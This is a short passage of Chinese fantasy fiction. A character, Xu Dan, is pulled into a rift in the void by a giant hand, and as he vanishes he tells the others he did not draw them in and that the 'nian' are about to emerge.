“古往今来,天下能人异士众多,今日竟教我在这早被封印的地儿一次撞上两个,想来这人间早已天翻地覆,否极泰来。” 许澹身后的虚空猝然碎裂,其中伸出一只巨手,搭在了他的肩膀上,拉着他往裂缝中去。 “不过是真的很可惜,可惜你们得在这儿陪我老人家了。” “以及,还有一点你们真的误解我了。” 许澹已经彻底消失在裂缝中了,但他的声音仍旧留在每个人耳边,让每个人都能清楚地听到。 他说:“鄙人虽算不得什么好人,可方才说的并非虚言,真不是我要把你们拉进来的。” “那些‘念’也是真的要出来了。”